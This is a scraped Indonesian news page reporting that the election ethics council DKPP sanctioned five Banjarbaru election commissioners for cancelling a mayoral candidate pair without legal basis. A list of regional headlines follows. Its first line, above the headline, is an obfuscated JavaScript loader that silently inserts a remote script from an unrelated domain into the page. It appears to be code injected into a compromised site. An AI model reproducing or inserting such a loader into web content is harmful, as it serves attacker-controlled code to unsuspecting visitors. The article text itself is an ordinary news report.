(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kesalahan KPU Banjarbaru Menurut DKPP: Pembatalan Paslon Tak Berdasarkan Hukum


KANALKALIMANTAN.COM, BANJARBARU – Dewan Kehormatan Penyelenggara Pemilu (DKPP) membacakan penjatuhan sanksi kepada 5 komisioner KPU Kota Banjarbaru, Jumat (28/2/2025) siang.

Anggota DKPP di ruang sidang utama DKPP, Jakarta, menerangkan sejumlah alasan bahwa lima komisioner KPU Banjarbaru telah terbukti melanggar kode etik dan pedoman perilaku penyelenggaraan Pemilu.

Sejumlah dalil aduan yang dilayangkan oleh pengadu dinyatakan terbukti oleh DKPP.

Baca juga: TOK! DKPP Pecat Empat Komisioner KPU Banjarbaru

Sedangkan jawaban para teradu dengan tegas tidak meyakinkan DKPP. Hal itu dijelaskan Anggota DKPP, I Dewa Kade Wiarsa Raka Sandi saat pembacaan putusan.

Dia menjelaskan bahwa alasan para teradu yakni lima komisioner KPU Banjarbaru yang mendasarkan pembatalan Paslon (Pasangan Calon) Aditya Mufti Ariffin-Said Abdullah pada ketentuan bab 8 huruf a angka 1 huruf c Keputusan KPU Nomor 1229 tahun 2024, merupakan tindakan yang tidak dibenarkan oleh hukum dan etika penyelenggara Pemilu.

“Karena terkait dengan pembatalan Paslon yang melakukan administrasi pemilihan dengan tegas diatur dalam pasal 71 ayat (5) UU 10 tahun 2016, sehingga tindakan para teradu yang melakukan pembatakan Paslon berdasarkan Keputusan KPU Nomor 1229 tidak relevan dan tidak berdasarkan hukum,” tegas Anggota DKPP, I Dewa Kade Wiarsa Raka Sandi.

Baca juga: Anggaran Coblosan Ulang Pilwali Banjarbaru Disiapkan

Selanjutnya berkenaan status pembatalan Said Abdullah sebagai calon Wakil Wali Kota Banjarbaru sesuai Keputusan KPU Nomor 2702 dan seterusnya tertanggal 24 November 2024 menegaskan bahwa Said Abdullah selaku Calon Wakil Wali Kota bukan seorang petahana.

“Sehingga keputusan pembatalan terhadap Said Abdullah sebagai Calon Wakil Wali Kota Banjarbaru sebagaimana Keputusan KPU Banjarbaru Nomor 124 tahun 2024 tentang pembatalan Aditya-Said Abdullah sebagai Wali Kota dan Wakil Wali Kota juga tidak beralasan hukum,” tegas dia menjelaskan.

Selanjutnya pada angka 2 huruf f surat Keputusan KPU Banjarbaru itu juga disebutkan bahwa KPU memerintahkan KPU Banjarbaru atau para teradu untuk melakukan pencermataan terhadap keputusan pembatalan tersebut dengan melakukan telaah hukum.

Baca juga: Jum’at Bersih Pegawai Pemkab HSU di Dua Masjid

“Namun terungkap fakta bahwa para teradu tidak menindaklanjuti dan tetap pada keputusannya melakukan pembatalan, hal itu berdasarkan keterangan pihak terkait Ketua KPU Kalsel,” sambungnya.

Dengan demikan sambung dia, para teradu terbukti melanggar ketentuan pasal 6 ayat (2) huruf d, pasal 6 ayat (3) huruf a, c, dan f, kemudian pasal 7 ayat (1), pasal 10 huruf a, pasal 11 hutuf a dan d, pasal 15 huruf c dan g dan pasal 16 huruf a dan e Peraturan DKPP Nomor 2 tahun 2017.

Aturan pasal tersebut di atas juga dilanggar oleh komisioner KPU Banjarbaru karena para teradu berpendapat tidak terdapat alasan atau dasar hukum untuk menunda penyelenggara Pilkada ataupun melakukan percetakan surat suara baru.

Baca juga: Gaji Pokok Kapolda Rp5,5 Juta, Anak Bisa Habiskan Rp1,2 Miliar Sebulan

“Oleh karena itu para teradu tetap melakukan pemungutan suara pada 27 November 2024, dengan tetap menggunakan surat suara yang dicetak dua gambar paslon,” tuntas dia.

Para teradu terbukti melanggar kode etik dan pedoman perilaku penyelenggaraan pemilu karena disimpulkan terbukti tidak melaksanakan Pilkada Banjarbaru sesuai tata cara, prosuder dan mekanisme yang berlaku. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie

 


Muhammad Andi

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

3 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

4 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

4 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

4 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

21 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

22 jam ago

This website uses cookies.